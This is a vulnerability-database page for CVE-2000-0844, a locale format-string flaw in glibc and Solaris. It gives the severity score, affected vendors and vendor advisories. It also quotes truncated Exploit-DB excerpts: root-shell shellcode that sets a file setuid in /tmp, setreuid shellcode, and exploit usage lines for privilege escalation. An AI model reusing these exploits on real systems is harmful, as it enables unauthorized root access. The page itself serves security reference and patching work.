CVE-2000-0844
published 2000-11-14CVE-2000-0844: Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execute…
PriorityP342critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
15.35%
96.4th percentile
Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execute arbitrary commands via functions such as gettext and catopen.
Affected
73 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| caldera | openlinux_ebuilder | — | — |
| caldera | openlinux_eserver | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
| ibm | aix | — | — |
CVSS provenance
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vendor_redhat10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-r7p8-7w63-3m9v: Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execu
ghsa_unreviewed·2022-05-03
CVE-2000-0844 [HIGH] GHSA-r7p8-7w63-3m9v: Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execu
Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execute arbitrary commands via functions such as gettext and catopen.
GHSA
GHSA-vcxc-2pg3-26ww: userhelper in the usermode package on Red Hat Linux executes non-setuid programs as root, which does not activate the security measures in glibc and a
ghsa_unreviewed·2022-04-30·CVSS 10.0
CVE-2000-1207 [CRITICAL] GHSA-vcxc-2pg3-26ww: userhelper in the usermode package on Red Hat Linux executes non-setuid programs as root, which does not activate the security measures in glibc and a
userhelper in the usermode package on Red Hat Linux executes non-setuid programs as root, which does not activate the security measures in glibc and allows the programs to be exploited via format string vulnerabilities in glibc via the LANG or LC_ALL environment variables (CVE-2000-0844).
Red Hat
security flaw
vendor_redhat·2000-09-30·CVSS 10.0
CVE-2000-1207 [CRITICAL] security flaw
security flaw
userhelper in the usermode package on Red Hat Linux executes non-setuid programs as root, which does not activate the security measures in glibc and allows the programs to be exploited via format string vulnerabilities in glibc via the LANG or LC_ALL environment variables (CVE-2000-0844).
Statement: This issue was fixed in the following products:
- Red Hat Linux 6.0 - RHSA-2000:075 (2000-12-01)
- Red Hat Linux 6.1 - RHSA-2000:075 (2000-12-01)
- Red Hat Linux 6.2 - RHSA-2000:075 (2000-12-01)
- Red Hat Linux 7.0 - RHSA-2000:075 (2000-12-01)
Red Hat
security flaw
vendor_redhat·2000-09-04·CVSS 10.0
CVE-2000-0844 [CRITICAL] security flaw
security flaw
Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execute arbitrary commands via functions such as gettext and catopen.
Statement: This issue was fixed in the following products:
- Red Hat Linux 5.0 - RHSA-2000:057 (2000-09-01)
- Red Hat Linux 5.1 - RHSA-2000:057 (2000-09-01)
- Red Hat Linux 5.2 - RHSA-2000:057 (2000-09-01)
- Red Hat Linux 6.0 - RHSA-2000:057 (2000-09-01)
- Red Hat Linux 6.1 - RHSA-2000:057 (2000-09-01)
- Red Hat Linux 6.2 - RHSA-2000:057 (2000-09-01)
No detection rules found.
Exploit-DB
GLIBC locale - Format Strings
exploitdb·2003-01-15
CVE-2000-0844 GLIBC locale - Format Strings
GLIBC locale - Format Strings
---
/* su.c by xp, modified by logikal@efnet - tested on redhat 5 -> 7 */
#include
#include
#include
#include
#include
#include
#include
#include
char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/xp;chmod 4777 /tmp/xp";
char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;
char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;
char *make_
Exploit-DB
GLIBC locale - bug mount
exploitdb·2000-12-02
CVE-2000-0844 GLIBC locale - bug mount
GLIBC locale - bug mount
---
/*
* mount exploit for glibc locale bug
* tested on redhat 6.2 and slackware 7.0 and debian 2.2
*
* Debian 2.2 (mount-2.10f) : ./mnt -n 136 -a 0x080589a0 -i 192
* Redhat 6.2 (mount-2.10f) : ./mnt -n 114 -a 0x080565dc -i 112
* compiled on rh 6.2 (mount-2.10m): ./mnt -n 114 -a 0x08059218 -i 112
*
* "objdump /bin/mount | grep exit" to get the -a address
*
* - sk8
*/
#include
#include
#include
char sc[]=
/* main: */ /* setreuid(0, 0); */
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x46" /* movb $70, %al */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\x0c" /* movb $12, %bl */
"\x80\xeb\x0c" /* subb $12, %bl */
"\x89\xd9" /* movl %ebx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x18" /* jmp callz */
/* start: */ /* execve of /bin/sh */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl
Exploit-DB
Solaris 2.6/7.0 - 'locale' Format Strings noexec stack Overflow
exploitdb·2000-11-30
CVE-2000-0844 Solaris 2.6/7.0 - 'locale' Format Strings noexec stack Overflow
Solaris 2.6/7.0 - 'locale' Format Strings noexec stack Overflow
---
/*
* exploit for locale subsystem format strings bug In Solaris with noexec stack.
* Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g.
* ./ex -o -4 )
*
* $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
* usages: ./ex -h
*
* Thanks for Ivan Arce who found this bug.
* Thanks for horizon's great article about defeating noexec stack for Solaris.
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
* by [email protected] (http://www.nsfocus.com)
* y2k/11/10
*/
#include
#include
#include
#include
#include
#define BUFSIZE 2048 /* the size of format string buffer */
#define BUFF 128 /
Exploit-DB
GLIBC - '/bin/su' Local Privilege Escalation
exploitdb·2000-11-30
CVE-2000-0844 GLIBC - '/bin/su' Local Privilege Escalation
GLIBC - '/bin/su' Local Privilege Escalation
---
/*
*
* Working exploit for glibc executing /bin/su
*
* To exploit this i have used a technique that
* overwrites the .dtors section of /bin/su program
* with the address of the shellcode, so, the program
* executes it when main returns or exit() is called
*
* Thanks a lot to rwxrwxrwx for
* explaining me this technique :)
*
* The address of .dtors section can be easily obtained
* with objdump -h filename.
*
* One the address of .dtors is known, the shellcode is
* pushed in a env var with a lot of nops, and the size
* of the "piece" of stack that must be "eaten" is calculated
* with a loop. At this point, we know the exact values of
* all parameters exept the address of the shellcode, but this
* value can be guessed with a little work :)
*
Exploit-DB
Solaris/SPARC 2.7 / 7 locale - Format String
exploitdb·2000-11-20
CVE-2000-0844 Solaris/SPARC 2.7 / 7 locale - Format String
Solaris/SPARC 2.7 / 7 locale - Format String
---
/*
Exploit for the locale format string vulnerability in Solaris/SPARC 2.7 / 7
Based on the exploit by Warning3
For additional information see http://www.phreedom.org/solar/locale_sol.txt
By Solar Eclipse
Assistant Editor,
Phreedom Magazine
http://www.phreedom.org
10 Oct 2000
*/
#include
#include
#define NUM 98 /* default number of words to dump from the stack */
#define ALIGN 3 /* default align (can be 0, 1, 2, 3) */
#define RETLOCOFS -16 /* default offset of the return address location */
#define SHELLOFS -6 /* default offset of the jump location from the beginning of the shell buffer */
#define RETLOC 0xfffffffd
#define PATTERN 1024 /* format string buffer size */
#define SHELL 1024 /* shell buffer size */
#define NOP 0xac15a16e
Exploit-DB
Solaris 2.6/7.0 /locale - Subsystem Format String
exploitdb·2000-11-02
CVE-2000-0844 Solaris 2.6/7.0 /locale - Subsystem Format String
Solaris 2.6/7.0 /locale - Subsystem Format String
---
/*
source: https://www.securityfocus.com/bid/1634/info
nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
The programs access this database
Exploit-DB
Solaris 2.6/7.0 'eject' locale - Subsystem Format String
exploitdb·2000-09-08
CVE-2000-0844 Solaris 2.6/7.0 'eject' locale - Subsystem Format String
Solaris 2.6/7.0 'eject' locale - Subsystem Format String
---
/*
source: https://www.securityfocus.com/bid/1634/info
nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
The programs access this da
Exploit-DB
RedHat 6 GLIBC/locale - Subsystem Format String
exploitdb·2000-09-06
CVE-2000-0844 RedHat 6 GLIBC/locale - Subsystem Format String
RedHat 6 GLIBC/locale - Subsystem Format String
---
/*
source: https://www.securityfocus.com/bid/1634/info
Conectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
The programs access this database
Exploit-DB
Immunix OS 6.2 - LC glibc format string
exploitdb·2000-09-04
CVE-2000-0844 Immunix OS 6.2 - LC glibc format string
Immunix OS 6.2 - LC glibc format string
---
/*
source: https://www.securityfocus.com/bid/1634/info
nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
The programs access this database using the
Exploit-DB
Libc locale - Local Privilege Escalation (2)
exploitdb·2000-09-04
CVE-2000-0844 Libc locale - Local Privilege Escalation (2)
Libc locale - Local Privilege Escalation (2)
---
/*
source: https://www.securityfocus.com/bid/1634/info
ectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
The programs access this database using
Exploit-DB
Libc locale - Local Privilege Escalation (1)
exploitdb·2000-09-04
CVE-2000-0844 Libc locale - Local Privilege Escalation (1)
Libc locale - Local Privilege Escalation (1)
---
/*
source: https://www.securityfocus.com/bid/1634/info
ectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
The programs access this database using
Exploit-DB
Alt-N WorldClient Pro 2.0.0.0/2.0.1.0/Standard 2.0.0.0 - Long URL Denial of Service
exploitdb·1999-11-26
CVE-1999-0844 Alt-N WorldClient Pro 2.0.0.0/2.0.1.0/Standard 2.0.0.0 - Long URL Denial of Service
Alt-N WorldClient Pro 2.0.0.0/2.0.1.0/Standard 2.0.0.0 - Long URL Denial of Service
---
source: https://www.securityfocus.com/bid/823/info
Alt-N's WorldClient is an email webserver that allows it's users to retrieve email via HTTP. It is susceptible to denial of service attacks due to an unchecked buffer in the request handler. Supplying a long url will crash the server.
http ://target.host:2000/[long string]
Bugzilla
CVE-2000-1207 security flaw
bugzilla·2018-08-16·CVSS 10.0
CVE-2000-1207 [CRITICAL] CVE-2000-1207 security flaw
CVE-2000-1207 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
userhelper in the usermode package on Red Hat Linux executes non-setuid programs as root, which does not activate the security measures in glibc and allows the programs to be exploited via format string vulnerabilities in glibc via the LANG or LC_ALL environment variables (CVE-2000-0844).
Bugzilla
CVE-2000-0844 security flaw
bugzilla·2018-08-16·CVSS 10.0
CVE-2000-0844 [CRITICAL] CVE-2000-0844 security flaw
CVE-2000-0844 security flaw
Flaw bug created to hold information about an old flaw we knew something about. For more details see the MITRE CVE description.
Discussion:
MITRE description:
Some functions that implement the locale subsystem on Unix do not properly cleanse user-injected format strings, which allows local attackers to execute arbitrary commands via functions such as gettext and catopen.
ftp://patches.sgi.com/support/free/security/advisories/20000901-01-Phttp://archives.neohapsis.com/archives/bugtraq/2000-08/0436.htmlhttp://archives.neohapsis.com/archives/bugtraq/2000-08/0457.htmlhttp://archives.neohapsis.com/archives/bugtraq/2000-10/0427.htmlhttp://archives.neohapsis.com/archives/tru64/2000-q4/0000.htmlhttp://www.calderasystems.com/support/security/advisories/CSSA-2000-030.0.txthttp://www.debian.org/security/2000/20000902http://www.novell.com/linux/security/advisories/adv5_draht_glibc_txt.htmlhttp://www.redhat.com/support/errata/RHSA-2000-057.htmlhttp://www.securityfocus.com/bid/1634http://www.turbolinux.com/pipermail/tl-security-announce/2000-September/000020.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/5176ftp://patches.sgi.com/support/free/security/advisories/20000901-01-Phttp://archives.neohapsis.com/archives/bugtraq/2000-08/0436.htmlhttp://archives.neohapsis.com/archives/bugtraq/2000-08/0457.htmlhttp://archives.neohapsis.com/archives/bugtraq/2000-10/0427.htmlhttp://archives.neohapsis.com/archives/tru64/2000-q4/0000.htmlhttp://www.calderasystems.com/support/security/advisories/CSSA-2000-030.0.txthttp://www.debian.org/security/2000/20000902http://www.novell.com/linux/security/advisories/adv5_draht_glibc_txt.htmlhttp://www.redhat.com/support/errata/RHSA-2000-057.htmlhttp://www.securityfocus.com/bid/1634http://www.turbolinux.com/pipermail/tl-security-announce/2000-September/000020.htmlhttps://exchange.xforce.ibmcloud.com/vulnerabilities/5176
2000-11-14
Published